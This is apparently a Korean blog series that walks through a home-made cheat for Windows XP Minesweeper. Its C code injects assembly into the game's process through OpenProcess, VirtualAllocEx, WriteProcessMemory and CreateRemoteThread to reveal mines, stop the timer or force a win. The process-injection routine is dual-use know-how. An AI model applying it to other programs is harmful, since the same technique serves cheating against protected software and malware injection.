안녕하십니까 이번 포스팅에서는 직접 만든 지뢰찾기핵 프로그램을 이용하여 xp버전의 지뢰찾기를 한 번 해보도록 하겠습니다.

프로그램을 동작시켰습니다.

FindLM버튼을 누르니 지뢰를 전부 보여주는 군요.

InitTime버튼을 누르니 흘러간 시간이 초기화 되었습니다.

지뢰를 다시 숨기고 무적 버튼을 누르니 지뢰를 밟아도 게임이 계속 진행됩니다.

승리 버튼을 누르니 바로 승리하는 것을 볼 수 있습니다. 시간 초기화와 같이 쓰면 0초 랭킹도 가능하네요.

gameover버튼을 누르면 마스코트가 죽은 표정을 하고 있으며 더이상 게임이 동작되지 않는 것을 볼 수 있습니다.

이상으로 지뢰찾기핵 만들기 포스팅을 마치겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 지뢰찾기핵의 코드를 살펴보겠습니다.

자 이제 코드를 하나씩 살펴봅시다. 앞 포스팅에서 설명한 부분은 따로 설명드리지 않겠습니다.

- #define FindLM 0
  #define Stoptime 1
  #define initTime 2
  #define PowerOverwhelming 3
  #define victory 4
  #define gameover 5

버튼의 ID들을 미리 상수로 정의합니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
BOOL WINAPI EnumDesktopProc(LPTSTR lpszDesktop,LPARAM lParam);
BOOL WINAPI EnumWindowsProc(HWND hwnd,LPARAM lParam);

윈도우 프로시저 함수와 작업관리자를 만들때 쓰인 EnumDesktopProc함수와 EnumWindowsProc함수를 선언합니다. 이는 바탕화면에서 지뢰찾기 프로세스를 찾기 위해 사용되었습니다. 원리는 작업관리자에서 쓰인 것과 동일합니다.

- int Errorprocessing(void);
  void codeinjection(DWORD FA,int byte,DWORD FP,DWORD GetAccessAddr);
  int timecheck(void);

  DWORD* finelandmine(DWORD number);
  DWORD* stoptime(DWORD killtimer);
  DWORD* initializationTime(void);
  DWORD* startTime(DWORD setTimer);
  DWORD* poweroverwhelming(void);
  DWORD* Cancel_poweroverwhelming(void);
  DWORD* Victory(void);
  DWORD* Gameover(void);

앞에서 설명드린 함수들을 선언합니다.

- DWORD G_LandMinePID = NULL;
  HWND G_MainHWND,G_POW,G_ST,G_FLM;

지뢰찾기의 PID를 전역변수로 저장하기 위한 G_LandMinePID변수와 버튼들의 핸들을 전역변수로 저장하기 위한 변수들을 선언합니다.

WinMain함수는 간단하니 생략하겠습니다. 바로 윈도우 프로시저로 넘어갑시다.

- DWORD address;

DLL에 들어있는 함수(SetTimer,KillTimer)의 주소값을 저장하기 위해 선언하였습니다. 대부분의 프로그램 코드에서 사용자가 임의로 만든 함수가 아닌 DLL에서 로드하여 호출하는 함수는 주소값이 정해져있지 않기 때문에 미리 DLL에서 함수의 주소를 구하여 그 값을 인자로 넣어 호출하는 식으로 동작해야 합니다.

- TCHAR ButtonTEXT[100] = L"";

버튼의 텍스트를 가져와서 저장시키기 위한 변수를 선언합니다.

- switch (message)
    case WM_CREATE:
   G_MainHWND = hWnd;
   G_FLM = CreateWindow(L"button",L"FindLM",WS_CHILD | WS_VISIBLE,0,50,105,25,hWnd,(HMENU)FindLM,NULL,NULL);
   G_ST = CreateWindow(L"button",L"StopTime",WS_CHILD | WS_VISIBLE,0,75,105,25,hWnd,(HMENU)Stoptime,NULL,NULL);
   CreateWindow(L"button",L"initTime",WS_CHILD | WS_VISIBLE,0,100,105,25,hWnd,(HMENU)initTime,NULL,NULL);
   G_POW = CreateWindow(L"button",L"PowerOverwhelming",WS_CHILD | WS_VISIBLE,0,125,140,25,hWnd,(HMENU)PowerOverwhelming,NULL,NULL);
   CreateWindow(L"button",L"victory",WS_CHILD | WS_VISIBLE,0,150,105,25,hWnd,(HMENU)victory,NULL,NULL);
   CreateWindow(L"button",L"gameover",WS_CHILD | WS_VISIBLE,0,175,105,25,hWnd,(HMENU)gameover,NULL,NULL);

어떤 코드를 지뢰찾기에 삽입할 건지를 사용자로부터 입력받기 위해 각각의 버튼들을 생성합니다. 이 중 버튼의 핸들을 전역변수에 저장시키는 버튼이 있는데 이는 버튼의 텍스트를 읽어올 필요가 있기 때문입니다.

- case WM_COMMAND:
   switch(LOWORD(wParam))
     case FindLM:

FindLM버튼을 눌렀을 경우 즉 사용자로부터 지뢰를 보여달라는 명령을 받았을 경우 아래의 코드를 수행합니다.

- EnumDesktops(GetProcessWindowStation(),EnumDesktopProc,0);
       if(Errorprocessing())
             break;

EnumDesktops함수를 호출하여 바탕화면에 실행중인 지뢰찾기 프로그램의 PID를 구합니다. 이렇게 구한 PID는 G_LandMinePID에 저장되어지며 이 G_LandMinePID값에 따라 다음 코드인 Errorprocessing함수에 의해 에러처리를 해주게 됩니다.

- GetWindowText(G_FLM,ButtonTEXT,100);

xp버전의 지뢰찾기가 동작되고 있다는 것이 확인되면 먼저 FindLM버튼으로부터 텍스트를 가져와 ButtonTEXT에 저장합니다.

- if(lstrcmp(ButtonTEXT,L"FindLM") == 0)
      codeinjection((DWORD)finelandmine,34,0x0A,NULL);
      SetWindowText(G_FLM,L"Cancel");

가져온 버튼의 텍스트가 FindLM이면 codeinjection함수를 호출합니다. 인자는 어셈블리코드가 적힌 finelandmine함수의 주소값이며 크기는 34바이트, finelandmine의 인자값은 16진수 A, 그리고 특정주소의 보안을 얻을 필요는 없으므로 마지막 인자값은 NULL로 주었습니다. 여기서 34바이트라는 크기는 finelandmine함수에 적혀있는 어셈블리 코드의 총 크기를 의미하며 칼 같이 계산할 필요는 없이 그냥 크기값을 예측하여 무조건 많이 주면 됩니다. 어차피 RETN코드로 인해 추가로 쓰인 코드는 실행되지 않습니다. 그리고 0x0A라는 값은 finelandmine에 적혀있는 0x01002F80함수의 인자값으로 들어가게 되는데 이 값은 지뢰를 0x0A라는 비트맵으로 보여달라는 뜻입니다. xp지뢰찾기에서 0x0A비트맵은 다음 모양을 의미합니다.

코드 인젝션을 수행하고 나면 FindLM버튼의 텍스트를 Cancel로 바꿉니다.

- else
    codeinjection((DWORD)finelandmine,34,0x0F,NULL);
    SetWindowText(G_FLM,L"FindLM");

가져온 텍스트 값이 FindLM이 아닐 경우 즉 Cancel일 경우 codeinjection함수를 호출합니다. 다만 이번에는 함수의 파라미터 값이 0x0F인데 이는 지뢰를 0x0F라는 비트맵으로 보여달라는 뜻입니다. xp지뢰찾기에서 0x0F비트맵은 다음 모양을 의미합니다.

즉 이 뜻은 사용자에게 보여주는 지뢰를 다시 감추라는 뜻이 됩니다. 다른 말로 위의 지뢰를 보여달라는 기능을 취소하는 것이지요. 이렇게 기능을 취소시키고 나면 SetWindowText함수로 버튼의 텍스트값을 다시 FindLM으로 복구시킵니다.

- G_LandMinePID = 0;

코드 인젝션 기법이 완료되었으면 G_LandMinePID변수를 초기화시킵니다.

- case Stoptime:

Stoptime버튼을 눌렀을 경우 아래의 코드를 수행합니다. G_LandMinePID값을 구하고 에러처리를 하는 부분은 위에서 설명하였으니 생략하겠습니다.
     
- GetWindowText(G_ST,ButtonTEXT,100);
     if(lstrcmp(ButtonTEXT,L"StopTime") == 0)

버튼의 텍스트가 StopTime일 경우 아래의 코드를 수행합니다.

- if(timecheck())
       MessageBox(hWnd,L"타이머가 동작중이 아닙니다.",L"Error",MB_OK);

timecheck함수를 호출하여 지뢰찾기의 타이머값을 체크합니다. 만약 참을 반환한다면 타이머의 값이 0이라는 뜻이므로 타이머가 동작중이 아님을 알리고 switch문을 빠져나갑니다.

- address = (DWORD)GetProcAddress(GetModuleHandle(L"user32.dll"),"KillTimer");

타이머가 동작중이라면 GetProcAddress함수를 호출하여 KillTimer함수의 주소값을 구해 address에 저장시킵니다. GetProcAddress함수를 살펴봅시다.

지정한 DLL에서 함수의 주소나 변수의 주소값을 구해주는 함수라고 되어있습니다. 인자들을 한 번 살펴봅시다.

* hModule

DLL 모듈의 핸들값을 인자로 받습니다. 보통 LoadLibrary함수나 GetModuleHandle함수를 사용하여 핸들값을 구하는데 두 함수의 차이점이 있다면 GetModuleHandle함수는 호출프로세스가 해당 DLL을 로드하고 있어야 함수가 성공한다는 점이고 LoadLibrary함수는 DLL의 경로를 인자값으로 주어야한다는 차이점이 있습니다. 기본적으로 비주얼 스튜디오로 만든 프로그램은 우리가 원하는 user32.dll을 로드하고 있으므로 그냥 GetModuleHandle함수를 사용하였습니다.

* lpProcName

모듈에서 찾을려는 함수나 변수명입다. 유니코드로 적어주시면 되겠습니다.

즉 이 코드가 호출되고 나면 KillTimer함수의 주소값이 address변수에 저장되어집니다.

- codeinjection((DWORD)stoptime,35,address,NULL);
  SetWindowText(G_ST,L"Cancel");

구한 주소값을 이용하여 codeinjection함수를 호출합니다. 이러면 stoptime함수의 인자값으로 address값(KillTimer 주소값)을 받게 됩니다. 코드를 삽입하고 나면 버튼의 텍스트를 Cancel로 바꿉니다.

- else
      address = (DWORD)GetProcAddress(GetModuleHandle(L"user32.dll"),"SetTimer");
      codeinjection((DWORD)startTime,35,address,NULL);
      SetWindowText(G_ST,L"StopTime");

버튼 값이 Cancel인 경우 즉 타이머가 KillTimer함수에 의해 파기되어 타이머가 더이상 동작되지 않는 경우 SetTimer함수의 주소값을 구해 startTime함수의 코드를 삽입합니다. 코드가 정상적으로 삽입이 되었다면 버튼의 텍스트를 StopTime으로 복구시킵니다.

모든 처리가 끝나면 G_LandMinePID변수값을 0으로 초기화합니다. 앞으로 이부분도 생략하도록 하겠습니다.

- case initTime:

   codeinjection((DWORD)initializationTime,40,NULL,NULL);

initTime버튼을 눌렀을 경우 initializationTime함수의 코드를 삽입합니다. 이 함수는 인자값이 없으므로 세번째 인자값을 NULL로 주었습니다.

- case PowerOverwhelming:

     GetWindowText(G_POW,ButtonTEXT,100);
     if(lstrcmp(ButtonTEXT,L"PowerOverwhelming") == 0)
           codeinjection((DWORD)poweroverwhelming,35,NULL,0x01003512);
           SetWindowText(G_POW,L"Cancel");

PowerOverwhelming버튼을 눌렀을 때 버튼의 텍스트 값이 PowerOverwhelming이면 poweroverwhelming함수의 코드를 삽입합니다. 이 때 네번째 인자값을 0x01003512로 주었는데 이는 poweroverwhelming함수가 값을 변경하는 0x01003591주소 값의 보안수치를 변경하기 위함입니다.

0x01003512주소는 xp지뢰찾기의 함수주소를 의미하고 0x01003591값은 0x01003512함수 주소 내에 포함되어 있으므로 0x01003512 함수의 보안 수치를 통째로 변경하기 위해 값을 이렇게 주었습니다. 이 때 0x01003512 함수의 총 크기는 165바이트입니다.코드를 삽입하고 나면 버튼의 텍스트를 Cancel로 변경합니다.

- else
     codeinjection((DWORD)Cancel_poweroverwhelming,35,NULL,0x01003512);
     SetWindowText(G_POW,L"PowerOverwhelming");

    
버튼의 텍스트값이 Cancel라면 Cancel_poweroverwhelming함수의 코드를 삽입후 버튼의 텍스트를 PowerOverwhelming로 복구시킵니다.

- case victory:
     codeinjection((DWORD)Victory,40,NULL,NULL);

victory버튼을 눌렀을 경우 Victory코드를 삽입합니다.

- case gameover:
     codeinjection((DWORD)Gameover,40,NULL,NULL);

gameover버튼을 눌렀을 경우 Gameover코드를 삽입합니다.

중요한 부분은 다 설명을 마쳤습니다. 다음은 EnumDesktopProc를 살펴봅시다.

- HDESK desktop;

데스크탑의 핸들을 선언합니다.

 - desktop = OpenDesktop(lpszDesktop,0,NULL,DESKTOP_READOBJECTS);

   EnumDesktopWindows(desktop,EnumWindowsProc,NULL);

   CloseDesktop(desktop);

데스크탑을 열고 EnumDesktopWindows함수를 호출한 후 데스크탑의 핸들을 닫습니다. 이부분은 작업관리자 코드에서 설명을 하였으므로 그냥 넘어가겠습니다.

마지막으로 EnumWindowsProc함수를 살펴봅시다.

- TCHAR titleName[500] = L"";
  WINDOWINFO Wininfo;

윈도우의 타이틀을 저장시킬 변수와 윈도우의 정보를 저장시킬 WINDOWINFO 구조체 변수를 선언합니다.

- Wininfo.cbSize = sizeof(WINDOWINFO);

Wininfo.cbSize멤버의 값에 구조체 크기를 넣어줍니다.

-  if(GetWindowTextLength(hWnd) == 0)
    return TRUE;
   if(GetParent(hWnd) != NULL )
    return TRUE;
   if(IsWindowVisible(hWnd) == FALSE)
    return TRUE;

타이틀값이 0이거나 자식 윈도우거나 보이지 않는 윈도우라면 TRUE를 반환하여 다음 윈도우를 검사합니다.

- GetWindowText(hWnd,titleName,500);

윈도우의 타이틀명을 가져옵니다.

- if(lstrcmp(titleName,L"지뢰 찾기") == 0)
    GetWindowInfo(hWnd,&Wininfo);

타이틀 명이 지뢰 찾기 라면 그 핸들의 정보를 가져와 Wininfo구조체에 저장시킨 후 아래의 if문을 수행합니다.

- if(Wininfo.wCreatorVersion == 1024)
    GetWindowThreadProcessId(hWnd,&G_LandMinePID);
    return FALSE;

wCreatorVersion멤버의 값이 1024라면 그 핸들의 PID를 구해 G_LandMinePID에 저장시키고 FALSE를 리턴하여 윈도우 검사를 중지합니다. wCreatorVersion멤버는 해당 윈도우가 만들어졌을 때의 윈도우즈 버전 값을 저장합니다. 윈도우즈 xp라면 값은 1024가 저장되며 윈도우즈 7은 다른 값이 저장됩니다. xp와 7지뢰찾기를 구분할 수 있는 아주 간단한 방법입니다.

- else
   G_LandMinePID = -1;
   return TRUE;

만약 찾은 지뢰 찾기 핸들이 xp버전이 아니라면 G_LandMinePID에 -1을 저장시키고 다음 윈도우를 찾습니다. 만약 xp버전의 지뢰찾기를 못찾았다면 G_LandMinePID는 -1을 저장시킨채로 검사가 종료되게 됩니다.

- return TRUE;

return FALSE문을 만나지 못했다면 만날 때 까지 혹은 윈도우를 전부 검사할 때까지 반복합니다.

자 여기까지가 코드의 마지막입니다. 다만 비주얼 스튜디오로 이 프로그램을 코딩해 실행할려면 하나의 작업을 더해주어야 합니다. 그것은 비주얼 스튜디오에서 기본적으로 제공해주는 기능인 증분 링크 기능을 해제시켜주는 것이지요.

프로젝트 - 속성 - 링커 - 일반 - 증분 링크 사용 부분을 아니오로 바꿔줍시다.

이 증분 링크 라는 것은 링크 시간을 줄여주는 기능을 의미합니다. 다만 이 기능을 사용하며 링크를 하게 되면 프로그램의 크기가 커지며 무엇보다 프로그램에 점프 썽크가 포함되어 진다는 것입니다.

그렇다면 점프 썽크란 무엇일까요? 말로만 설명하기 뭐하니 직접 보여드리겠습니다.

위에 있는 프로그램은 비증분링크로 짜여진 프로그램입니다.

위에 있는 프로그램은 증분링크로 짜여진 프로그램입니다. 딱봐도 JMP코드가 들어가 있는 것을 볼 수 있지요? 이 JMP코드가 바로 점프 썽크입니다. 이 점프 썽크의 특징은 함수를 호출하게 될 때 바로 함수의 주소로 가는 것이 아니라 이 점프 썽크를 통해 함수의 주소로 가게 됩니다.

즉 시작주소값이 0x12345678인 함수를 호출한다면 바로 0x12345678로 가는 것이 아니라 JMP 12345678 코드가 적힌 부문으로 간 다음에 이 JMP에 의해 0x12345678로 가게 되는 것이지요.

그렇다면 문제가 뭘까요? 자 한번 지뢰찾기에 코드를 한번 삽입해보도록 하겠습니다.

먼저 비증분링크로 짜여진 프로그램으로 winmine의 가상메모리에 코드를 삽입해보겠습니다. finelandmine에 적힌 어셈블리코드가 들어가 있는 것을 볼 수 있습니다. 본 코드가 34바이트보다 작기 때문에 다소 쓸데없는 값이 추가로 들어가긴 했지만 RETN 문이 있으므로 별 상관이 없습니다.

자 그럼 이제 증분링크로 짜여진 프로그램으로 코드를 삽입해봅시다.

finelandmine함수의 주소값을 이용하여 코드를 작성하도록 했지만 보시다시피 점프썽크로 인해 finelandmine함수의 주소값이 실질적인 주소값이 아닌 JMP주소값이 되버렸습니다. 그래서 그 JMP 코드가 적힌 부분부터 34바이트 코드를 집어넣는 것을 볼 수 있습니다.

이래놓고 스레드를 실행시키면 지뢰찾기가 특이한 코드를 버텨내지 못하고 에러가 나게 되는 것이지요. 없는 주소로 점프하라하니 지뢰찾기가 버티겠습니까?

그래서 보통 비주얼 스튜디오에서는 함수의 주소값을 이용하지 않은 쉘코드를 사용하여 코드 인젝션 기법을 수행합니다. 이 방법은 증분링크에 구애받지 않기 때문이지요.

자 아무튼 설명도 끝났고 비증분링크로 프로그램을 코딩하는 것도 마쳤으면 이제 프로그램 결과를 보는 것만 남았군요.

다음 포스팅에선 지뢰찾기핵 결과를 포스팅하도록 하겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 지뢰찾기핵을 만들 때 쓰인 함수들을 살펴보겠습니다. 함수는 다음과 같습니다.

- int Errorprocessing(void); - 지뢰찾기 프로그램이 동작 중인지 아닌지를 검사하는 함수

- void codeinjection(DWORD FA,int byte,DWORD FP,DWORD GetAccessAddr); - 가상메모리에 코드를 삽입시켜주는 함수

- int timecheck(void); - 지뢰찾기 프로그램의 타이머가 동작중인지 아닌지를 체크하는 함수

- DWORD* finelandmine(DWORD number); - 지뢰를 보여달라는 어셈블리코드가 적힌 함수

- DWORD* stoptime(DWORD killtimer); - 시간을 멈추라는 어셈블리코드가 적힌 함수

- DWORD* initializationTime(void); - 시간을 초기화시키는 어셈블리코드가 적힌 함수

- DWORD* startTime(DWORD setTimer); - 멈춘 시간을 다시 흐르게 하라는 어셈블리코드가 적힌 함수

- DWORD* poweroverwhelming(void); - 지뢰를 밟아도 죽지 않게 하려는 어셈블리코드가 적힌 함수

- DWORD* Cancel_poweroverwhelming(void); - 무적상태가 되었을 때 이를 해제할려는 어셈블리코드가 적힌 함수

- DWORD* Victory(void); - 승리하라는 어셈블리코드가 적힌 함수

- DWORD* Gameover(void); - 패배하라는 어셈블리코드가 적힌 함수

자 하나씩 살펴봅시다.

- int Errorprocessing(void);

이 함수는 PID값을 검사하여 PID값에 따라 에러처리를 해주는 함수입니다. 1을 반환하면 에러가 생겼다는 뜻이며 0을 반환하면 에러가 없다는 뜻입니다.

검사대상이 되는 G_LandMinePID변수는 바탕화면에서 가져온 지뢰찾기의 PID값이 저장되어있으며 만약 이 값이 NULL이라면 가져오지 못한 것을 뜻하므로 에러가 납니다.

반대로 지뢰찾기가 실행되었지만 그 지뢰찾기가 winxp버전이 아닐 경우 G_LandMinePID값은 -1이 저장되어 있으며 이에 대한 에러처리를 해 줍니다.

다음 함수를 살펴봅시다.

- void codeinjection(DWORD FA,int byte,DWORD FP,DWORD GetAccessAddr);

이 함수는 이번 프로그램의 핵심이라고도 볼 수 있으며 지뢰찾기의 PID값을 이용하여 프로세스를 열고 가상 메모리를 할당하여 코드를 삽입하는 역할을 합니다.

인자는 차례대로

1. FA(삽입할 함수 주소값)

2. byte(삽입할 함수의 크기)

3. FP(삽입할 함수의 파라미터 값)

4. GetAccessAddr(특정 메모리의 권한을 얻기 위한 주소값)

입니다. 자 이제 코드를 한줄씩 살펴봅시다.

- HANDLE LandMineProcess,Thread;

지뢰찾기 프로세스의 핸들을 저장할 변수와 스레드를 저장할 변수를 선언합니다.

- void *arr; 

프로세스에 가상의 메모리를 할당할 때 그 가상 메모리를 저장할 변수를 선언합니다.

- DWORD writeByte;

WriteProcessMemory함수를 사용하기 위한 변수 writeByte를 선언하였습니다.

- DWORD FunctionAddresss;

인자로 받은 FA값을 저장하기 위해 선언합니다.

- DWORD oldaccesss;

특정 메모리의 권한을 얻어와야 할 때 사용하는 VirtualProtectEx함수의 인자로 쓰일 변수입니다.

- LandMineProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,G_LandMinePID);

OpenProcess함수를 사용하여 지뢰찾기 프로세스를 엽니다. MSDN에서 OpenProcess함수를 살펴봅시다.

말 그대로 프로세스를 여는 함수입니다. 반환값은 HANDLE이며 인자는 다음과 같습니다.

* dwDesiredAccess

프로세스를 열었을 때 그 프로세스의 권한을 인자로 받습니다. 해당 프로세스의 모든 권한을 얻고 싶다면 PROCESS_ALL_ACCESS값을 사용합니다.

* bInheritHandle

값이 TRUE이면 OpenProcess로 생성된 프로세스가 OpenProcess를 호출한 프로세스를 상속합니다. 반대로 FALSE이면 상속하지 않습니다.

* dwProcessId

프로세스의 식별자 즉 PID값을 인자로 받습니다. 이 인자값을 토대로 해당 프로세스를 열게 됩니다.

- if(GetAccessAddr != NULL)
    VirtualProtectEx(LandMineProcess,                                                  (LPVOID)GetAccessAddr,165,PAGE_EXECUTE_READWRITE,&oldaccesss);

네번째 인자로 받은 값이 널값이 아니면 VirtualProtectEx함수를 사용하여 GetAccessAddr주소값에 해당하는 메모리의 권한을 수정합니다. VirtualProtectEx함수를 살펴봅시다.

해당하는 메모리의 권한을 변경해주는 함수라고 되어있습니다. 인자는 다음과 같습니다.

*hProcess

해당 프로세스의 핸들값입니다.

*lpAddress

프로세스의 메모리주소값 입니다. 여기서는 인자로 받은 GetAccessAddr값이 들어갑니다.

*dwsize

메모리주소값으로부터 몇바이트의 권한을 변경해줄건지를 받습니다.

*flNewProtect

변경할 권한값입니다. 해당하는 메모리의 읽기,쓰기가 가능하도록 변경할려면 PAGE_EXECUTE_READWRITE값을 줍니다.

*lpflOldProtect

권한이 변경되기 전의 권한값을 저장하는 변수의 포인터를 받습니다.

이 함수를 사용한 이유는 우리가 Ollydbg프로그램을 사용하여 코드를 변경하고 실행흐름을 바꾸는 것처럼 프로그램의 실행흐름을 바꾸기 위하여 사용하였습니다.

- arr = VirtualAllocEx(LandMineProcess,NULL,byte,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

VirtualAllocEx함수를 사용하여 프로세스에 가상의 메모리를 할당합니다. VirtualAllocEx함수를 살펴봅시다.

이 함수는 지정한 프로세스에 가상의 메모리를 할당해주는 역할을 하며 할당이 되고 나면 자동으로 0으로 초기화 해줍니다. 인자들을 살펴봅시다.

* hProcess

지정한 프로세스의 핸들값입니다.

* lpAddress

할당할 메모리의 주소값입니다. 만약 NULL값이라면 랜덤으로 주소값이 정해져 할당해줍니다.

* dwSize

얼만큼의 메모리를 할당할 것인지를 정합니다.

* flAllocationType

할당한 메모리의 유형을 정해주는 부분입니다. lpAddress인자값이 NULL이라면 이 인자값은 MEM_COMMIT이어야 합니다.

* flProtect

할당된 메모리의 권한을 지정합니다. PAGE_EXECUTE_READWRITE값을 주면 그 메모리 값을 읽을 수 있거나 쓸 수 있습니다.

-  FunctionAddresss = FA;

1번째 인자로 받은 FA값을 FunctionAddresss변수에 저장시킵니다.

-  WriteProcessMemory(LandMineProcess,arr,(LPVOID)FunctionAddresss,byte,&writeByte);

WriteProcessMemory함수를 사용하여 할당된 메모리에 코드를 삽입합니다. 이 부분이 코드 인젝션을 수행하는 실질적인 부분이며 이 함수가 성공적으로 호출된 후 올리디버거로 뜯어보면 해당 주소에 코드가 삽입되었음을 확인할 수 있습니다. 해당 함수를 살펴봅시다.

말그대로 지정한 프로세스의 메모리에 데이터를 입력해주는 함수입니다. 인자들을 살펴봅시다.

* hProcess

대상 프로세스입니다.

* lpBaseAddress

데이터를 입력할 메모리의 시작주소입니다. 여기서는 할당된 메모리의 주소값이 들어갔습니다.

* lpBuffer

삽입할 데이터입니다. 여기서는 첫번째 인자로 들어온 FA값이 저장된 FunctionAddresss가 들어갔습니다. 이 FunctionAddresss에는 어셈블리코드가 적힌 함수의 주소값이 들어가 있으며 실제로 메모리에 코드를 삽입하는 시점을 보면 함수 내에 적힌 어셈블리코드가 그대로 삽입되는 것을 볼 수 있습니다.

* nSize

얼만큼 데이터를 삽입할 것인지를 인자로 받습니다. 여기서는 codeinjection함수의 2번째 인자값이 들어갑니다.

* lpNumberOfBytesWritten

삽입한 데이터의 크기를 저장시키는 변수의 포인터를 인자로 받습니다.

최종적으로 이 코드가 성공적으로 실행되면 할당된 가상메모리에 코드가 적혀지게 됩니다.

- Thread = CreateRemoteThread(LandMineProcess,NULL,0,(LPTHREAD_START_ROUTINE)arr,(LPVOID)FP,CREATE_SUSPENDED,NULL);

CreateRemoteThread함수를 호출하여 가상메모리부분을 스레드로 만들어 Thread에 저장시킵니다. CreateRemoteThread함수를 살펴봅시다.

프로세스에서 실행되는 스레드를 작성해주는 함수입니다. CreateThread함수와의 차이점이 있다면 CreateThread함수는 호출 프로세스, CreateRemoteThread는 지정한 프로세스라는 점입니다. 인자들을 살펴봅시다.

* hProcess

지정할 프로세스를 인자로 받습니다.

* lpThreadAttributes

스레드의 보안관련 설정을 인자로 받으며 값이 NULL이면 기본 설정으로 지정됩니다.

* dwStackSize

만들어질 스레드의 스택 크기를 인자로 받습니다. 값이 0이면 기본 크기로 지정됩니다.

* lpStartAddress

스레드의 시작 주소를 인자로 받습니다. 이 주소는 지정한 프로세스에 존재하여야 하는 주소이며 여기서는 가상으로 할당한 arr값이 들어가게 됩니다.

* lpParameter

스레드가 실행할 때의 파라미터입니다. 여기서는 세번째 인자로 받은 FP값이 들어갑니다.

* dwCreationFlags

스레드의 제어관련 속성을 인자로 받으며 만약 받은 값이 CREATE_SUSPENDED이라면 만들어진 스레드는 일시중단 상태가 됩니다. 이렇게 일시 중단된 스레드는 ResumeThread함수로 동작시킬 수 있습니다.

* lpThreadId

스레드 식별자를 받는 변수의 포인터입니다. 값이 NULL이면 식별자를 반환하지 않습니다.

다음 코드를 살펴봅시다.

- ResumeThread(Thread);

만들어진 스레드를 동작시킵니다. 즉 이부분이 우리가 삽입한 코드를 실행시키도록 하는 실질적인 부분입니다. 만약 잘못된 코드를 삽입하였다면 이 코드가 수행될 때 에러가 날 수 있습니다.

- WaitForSingleObject(Thread,INFINITE);

WaitForSingleObject함수를 사용하여 실행중인 스레드를 대기상태로 만듭니다. WaitForSingleObject함수를 살펴봅시다.

지정한 핸들이 제한 시간이 경과할 때까지 대기하도록 하는 함수입니다.  인자들을 살펴봅시다.

* hHandle

지정할 핸들입니다.

* dwMilliseconds

제한 시간을 인자로 받습니다. INFINITE값을 인자로 받았다면 무한정 대기상태로 들어가게 됩니다.

이쯤되면 우리가 삽입한 코드가 다 수행되었으므로 할당된 가상의 메모리도 해제시켜주어야 합니다. 그런데 스레드가 실행중이여서 마음대로 해제가 불가능하므로 이를 위해 WaitForSingleObject함수를 호출하여 스레드를 무한정 대기 상태로 바꿔줄 필요가 있습니다.
 
- VirtualFreeEx(LandMineProcess,arr,0,MEM_RELEASE);

스레드가 대기상태가 되었으면 할당된 가상의 메모리를 해제시켜 줍니다. VirtualFreeEx함수를 살펴봅시다.

프로세스의 메모리를 해제시켜주는 함수입니다. 인자들을 살펴봅시다.

* hProcess

지정할 프로세스입니다.

* lpAddress

메모리의 시작주소값입니다. dwFreeType옵션 중 MEM_RELEASE옵션을 사용할려면 이 인자값은 VirtualAllocEx함수로 반환된 값이어야 합니다.

* dwSize

해제할 메모리 영역의 크기를 인자로 받습니다. dwFreeType옵션 중 MEM_RELEASE옵션을 사용할려면 이 인자값은 0이 되어야 합니다.

* dwFreeType

메모리 해제 유형을 인자로 받습니다. MEM_RELEASE값을 주면 지정한 메모리 영역을 해제합니다.

- CloseHandle(Thread);
  CloseHandle(LandMineProcess);

모든 작업이 끝났으면 스레드와 프로세스의 핸들을 닫습니다.

자 이제 다음 함수를 살펴봅시다.

- int timecheck(void);

 

이 함수는 지뢰찾기의 타이머가 동작중인지 아닌지를 판별해주는 역할을 합니다. 타이머의 값이 0이라면 타이머가 동작 중 이 아니라는 것을 알리고 값이 0 이상이라면 동작중이라는 것을 알립니다.

- HANDLE LandMineProcess;

프로세스의 핸들을 저장할 변수를 선언합니다.

- DWORD recvdata = 0;

ReadProcessMemory함수에 쓰일 변수를 선언한 후 0으로 초기화합니다.

- DWORD address,readByte;

타이머의 값이 저장되있는 주소값을 저장할 변수와 ReadProcessMemory함수에 쓰일 readByte변수를 선언합니다.

- LandMineProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,G_LandMinePID);

프로세스를 엽니다.

- address = 0x0100579C;

실제로 지뢰찾기 xp버전를 올리디버거로 뜯어보면 0x0100579C주소에 타이머의 값이 저장되어있는 것을 알 수 있습니다. 이 주소값을 가져와 address에 저장시킵니다.

- ReadProcessMemory(LandMineProcess,(LPVOID)address,&recvdata,4,&readByte);

ReadProcessMemory함수를 사용하여 address주소값에 있는 값을 4바이트만큼 읽어들입니다. ReadProcessMemory함수를 살펴봅시다.

특정 프로세스의 메모리로부터 데이터를 읽어들이는 함수입니다. 인자들을 살펴봅시다.

* hProcess

지정할 프로세스 입니다.

* lpBaseAddress

읽어들일 메모리의 시작주소입니다.

* lpBuffer

읽어들인 값을 저장할 변수의 포인터입니다.

* nSize

얼만큼 데이터를 읽을 것인지를 정합니다.

* lpNumberOfBytesRead

실제로 읽어들인 데이터의 크기를 저장할 변수의 포인터입니다.

이 함수가 호출되고 나면 address주소에 있는 값을 4바이트 읽어들여 recvdata에 저장시키게 됩니다.

- if(recvdata > 0)
   CloseHandle(LandMineProcess);
   return 0;

recvdata값이 0보다 클 때 즉 타이머가 동작중일 경우 프로세스의 핸들을 닫고 0을 반환합니다.

- else
   CloseHandle(LandMineProcess);
   return 1;

recvdata값이 0 이하 이면 프로세스의 핸들을 닫고 1을 반환합니다.

이제 프로세스에 삽입할 어셈블리 코드가 들어있는 함수들을 살펴봅시다.

- DWORD* finelandmine(DWORD number)

지뢰를 찾아 보여달라는 어셈블리 코드가 적혀있는 함수입니다. 인자로 받는 값은 지뢰를 어떤 비트맵으로 보여줄 것인지를 정해줍니다. 또한 함수의 주소값을 반환하기 위해 DWORD 포인터 형으로 반환값을 주고 있는 것을 볼 수 있습니다.

특이한 부분이 하나 있다면 함수 바로 위에 __declspec(naked) 구문이 적혀 있는 것을 볼 수 있는데 이는 어셈블리어를 작성할 때 __LOCAL_SIZE 정의어를 사용하기 위해서 선언한 것입니다. __LOCAL_SIZE는 컴파일러가 임의로 정해주는 사용자 정의 지역의 총 바이트 수를 의미하며 일반적으로 스택을 자동으로 할당할 때 쓰입니다. 그리고 또 하나의 특징은 __LOCAL_SIZE값을 이용하여 할당한 스택은 따로 해제를 하지 않는 점입니다. 

자 이제 어셈블리 구문을 살펴봅시다.

- push   ebp
